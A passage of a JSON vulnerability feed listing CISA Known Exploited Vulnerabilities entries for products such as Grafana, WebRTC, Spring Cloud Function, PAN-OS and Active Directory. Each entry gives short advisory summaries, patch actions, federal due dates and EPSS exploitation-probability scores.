instructions.","publishedAt":"2022-08-25","updatedAt":null,"regions":["Global"],"vendor":"PEAR","product":"Archive_Tar","stacks":["PEAR","Archive_Tar"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-08-25","dueAt":"2022-09-15","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.70595,"percentile":0.99387,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2020-36193&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2020-36193","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-08-25","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2020-36193 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2020-36193&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2020-36193, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2021-31010","cveId":"CVE-2021-31010","aliases":[],"kind":"vulnerability","title":"Apple iOS, macOS, watchOS Sandbox Bypass Vulnerability","summary":"In affected versions of Apple iOS, macOS, and watchOS, a sandboxed process may be able to circumvent sandbox restrictions.","detail":"CISA added this entry on 2022-08-25. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-08-25","updatedAt":null,"regions":["Global"],"vendor":"Apple","product":"iOS, macOS, watchOS","stacks":["Apple iOS and iPadOS","Apple macOS","Apple","iOS, macOS, watchOS"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-08-25","dueAt":"2022-09-15","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.03673,"percentile":0.89582,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2021-31010&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2021-31010","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-08-25","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2021-31010 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2021-31010&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2021-31010, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2021-38406","cveId":"CVE-2021-38406","aliases":[],"kind":"vulnerability","title":"Delta Electronics DOPSoft 2 Improper Input Validation Vulnerability","summary":"Delta Electronics DOPSoft 2 lacks proper validation of user-supplied data when parsing specific project files (improper input validation) resulting in an out-of-bounds write that allows for code execution.","detail":"CISA added this entry on 2022-08-25. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"The impacted product is end-of-life and should be disconnected if still in use.","publishedAt":"2022-08-25","updatedAt":null,"regions":["Global"],"vendor":"Delta Electronics","product":"DOPSoft 2","stacks":["Delta Electronics","DOPSoft 2"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-08-25","dueAt":"2022-09-15","action":"The impacted product is end-of-life and should be disconnected if still in use.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.76428,"percentile":0.99537,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2021-38406&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2021-38406","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-08-25","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2021-38406 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2021-38406&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2021-38406, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2021-39226","cveId":"CVE-2021-39226","aliases":[],"kind":"vulnerability","title":"Grafana Authentication Bypass Vulnerability","summary":"Grafana contains an authentication bypass vulnerability that allows authenticated and unauthenticated users to view and delete all snapshot data, potentially resulting in complete snapshot data loss.","detail":"CISA added this entry on 2022-08-25. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-08-25","updatedAt":null,"regions":["Global"],"vendor":"Grafana Labs","product":"Grafana","stacks":["Grafana","Grafana Labs"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-08-25","dueAt":"2022-09-15","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.99933,"percentile":0.9997,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2021-39226&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2021-39226","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-08-25","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2021-39226 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2021-39226&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2021-39226, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2022-2294","cveId":"CVE-2022-2294","aliases":[],"kind":"vulnerability","title":"WebRTC Heap Buffer Overflow Vulnerability","summary":"WebRTC, an open-source project providing web browsers with real-time communication, contains a heap buffer overflow vulnerability that allows an attacker to perform shellcode execution. This vulnerability impacts web browsers using WebRTC including but not limited to Google Chrome.","detail":"CISA added this entry on 2022-08-25. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-08-25","updatedAt":null,"regions":["Global"],"vendor":"WebRTC","product":"WebRTC","stacks":["WebRTC"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-08-25","dueAt":"2022-09-15","action":"Apply updates per vendor instructions.","ransomwareUse":"Known","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.70833,"percentile":0.99394,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2022-2294&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2022-2294","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-08-25","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2022-2294 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2022-2294&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2022-2294, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2022-22963","cveId":"CVE-2022-22963","aliases":[],"kind":"vulnerability","title":"VMware Tanzu Spring Cloud Function Remote Code Execution Vulnerability","summary":"When using routing functionality in VMware Tanzu's Spring Cloud Function, it is possible for a user to provide a specially crafted SpEL as a routing-expression that may result in remote code execution and access to local resources.","detail":"CISA added this entry on 2022-08-25. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-08-25","updatedAt":null,"regions":["Global"],"vendor":"VMware Tanzu","product":"Spring Cloud","stacks":["VMware","VMware Tanzu","Spring Cloud"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-08-25","dueAt":"2022-09-15","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.99938,"percentile":0.99971,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2022-22963&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2022-22963","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-08-25","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2022-22963 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2022-22963&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2022-22963, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2022-24112","cveId":"CVE-2022-24112","aliases":[],"kind":"vulnerability","title":"Apache APISIX Authentication Bypass Vulnerability","summary":"Apache APISIX contains an authentication bypass vulnerability that allows for remote code execution.","detail":"CISA added this entry on 2022-08-25. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-08-25","updatedAt":null,"regions":["Global"],"vendor":"Apache","product":"APISIX","stacks":["Apache","APISIX"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-08-25","dueAt":"2022-09-15","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.96069,"percentile":0.99876,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2022-24112&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2022-24112","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-08-25","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2022-24112 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2022-24112&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2022-24112, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2022-24706","cveId":"CVE-2022-24706","aliases":[],"kind":"vulnerability","title":"Apache CouchDB Insecure Default Initialization of Resource Vulnerability","summary":"Apache CouchDB contains an insecure default initialization of resource vulnerability which can allow an attacker to escalate to administrative privileges.","detail":"CISA added this entry on 2022-08-25. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-08-25","updatedAt":null,"regions":["Global"],"vendor":"Apache","product":"CouchDB","stacks":["Apache","CouchDB"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-08-25","dueAt":"2022-09-15","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.9251,"percentile":0.99825,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2022-24706&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2022-24706","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-08-25","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2022-24706 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2022-24706&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2022-24706, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2022-26352","cveId":"CVE-2022-26352","aliases":[],"kind":"vulnerability","title":"dotCMS Unrestricted Upload of File Vulnerability","summary":"dotCMS ContentResource API contains an unrestricted upload of file with a dangerous type vulnerability that allows for directory traversal, in which the file is saved outside of the intended storage location. Exploitation allows for remote code execution.","detail":"CISA added this entry on 2022-08-25. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-08-25","updatedAt":null,"regions":["Global"],"vendor":"dotCMS","product":"dotCMS","stacks":["dotCMS"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-08-25","dueAt":"2022-09-15","action":"Apply updates per vendor instructions.","ransomwareUse":"Known","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.91248,"percentile":0.99808,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2022-26352&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2022-26352","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-08-25","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2022-26352 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2022-26352&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2022-26352, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2022-0028","cveId":"CVE-2022-0028","aliases":[],"kind":"vulnerability","title":"Palo Alto Networks PAN-OS Reflected Amplification Denial-of-Service Vulnerability","summary":"A Palo Alto Networks PAN-OS URL filtering policy misconfiguration could allow a network-based attacker to conduct reflected and amplified TCP denial-of-service (RDoS) attacks.","detail":"CISA added this entry on 2022-08-22. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-08-22","updatedAt":null,"regions":["Global"],"vendor":"Palo Alto Networks","product":"PAN-OS","stacks":["Palo Alto Networks","PAN-OS"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-08-22","dueAt":"2022-09-12","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.02542,"percentile":0.84871,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2022-0028&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2022-0028","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-08-22","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2022-0028 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2022-0028&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2022-0028, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2017-15944","cveId":"CVE-2017-15944","aliases":[],"kind":"vulnerability","title":"Palo Alto Networks PAN-OS Remote Code Execution Vulnerability","summary":"Palo Alto Networks PAN-OS contains multiple, unspecified vulnerabilities which can allow for remote code execution when chained.","detail":"CISA added this entry on 2022-08-18. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-08-18","updatedAt":null,"regions":["Global"],"vendor":"Palo Alto Networks","product":"PAN-OS","stacks":["Palo Alto Networks","PAN-OS"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-08-18","dueAt":"2022-09-08","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.9834,"percentile":0.99917,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2017-15944&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2017-15944","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-08-18","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2017-15944 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2017-15944&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2017-15944, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2022-21971","cveId":"CVE-2022-21971","aliases":[],"kind":"vulnerability","title":"Microsoft Windows Runtime Remote Code Execution Vulnerability","summary":"Microsoft Windows Runtime contains an unspecified vulnerability that allows for remote code execution.","detail":"CISA added this entry on 2022-08-18. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-08-18","updatedAt":null,"regions":["Global"],"vendor":"Microsoft","product":"Windows","stacks":["Microsoft Windows","Microsoft","Windows"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-08-18","dueAt":"2022-09-08","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.53781,"percentile":0.9899,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2022-21971&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2022-21971","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-08-18","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2022-21971 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2022-21971&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2022-21971, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2022-22536","cveId":"CVE-2022-22536","aliases":[],"kind":"vulnerability","title":"SAP Multiple Products HTTP Request Smuggling Vulnerability","summary":"SAP NetWeaver Application Server ABAP, SAP NetWeaver Application Server Java, ABAP Platform, SAP Content Server and SAP Web Dispatcher allow HTTP request smuggling. An unauthenticated attacker can prepend a victim's request with arbitrary data, allowing for function execution impersonating the victim or poisoning intermediary Web caches.","detail":"CISA added this entry on 2022-08-18. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-08-18","updatedAt":null,"regions":["Global"],"vendor":"SAP","product":"Multiple Products","stacks":["SAP","Multiple Products"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-08-18","dueAt":"2022-09-08","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.97945,"percentile":0.99908,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2022-22536&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2022-22536","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-08-18","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2022-22536 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2022-22536&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2022-22536, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2022-26923","cveId":"CVE-2022-26923","aliases":[],"kind":"vulnerability","title":"Microsoft Active Directory Domain Services Privilege Escalation Vulnerability","summary":"An authenticated user could manipulate attributes on computer accounts they own or manage, and acquire a certificate from Active Directory Certificate Services that would allow for privilege escalation to SYSTEM.","detail":"CISA added this entry on 2022-08-18. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-08-18","updatedAt":null,"regions":["Global"],"vendor":"Microsoft","product":"Active Directory","stacks":["Microsoft","Active Directory"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-08-18","dueAt":"2022-09-08","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.835,"percentile":0.99681,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2022-26923&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2022-26923","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-08-18","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2022-26923 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2022-26923&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2022-26923, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2022-2856","cveId":"CVE-2022-2856","aliases":[],"kind":"vulnerability","title":"Google Chromium Intents Insufficient Input Validation Vulnerability","summary":"Google Chromium Intents contains an insufficient validation of untrusted input vulnerability that allows a remote attacker to browse to a malicious website via a crafted HTML page. This vulnerability could affect multiple web browsers that utilize Chromium, including, but not limited to, Google Chrome, Microsoft Edge, and Opera.","detail":"CISA added this entry on 2022-08-18. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-08-18","updatedAt":null,"regions":["Global"],"vendor":"Google","product":"Chromium Intents","stacks":["Google Chrome","Google","Chromium Intents"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-08-18","dueAt":"2022-09-08","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.04561,"percentile":0.91534,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2022-2856&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2022-2856","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-08-18","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2022-2856 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2022-2856&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2022-2856, scored 2026-10-25. This is a model estimate, not proof of 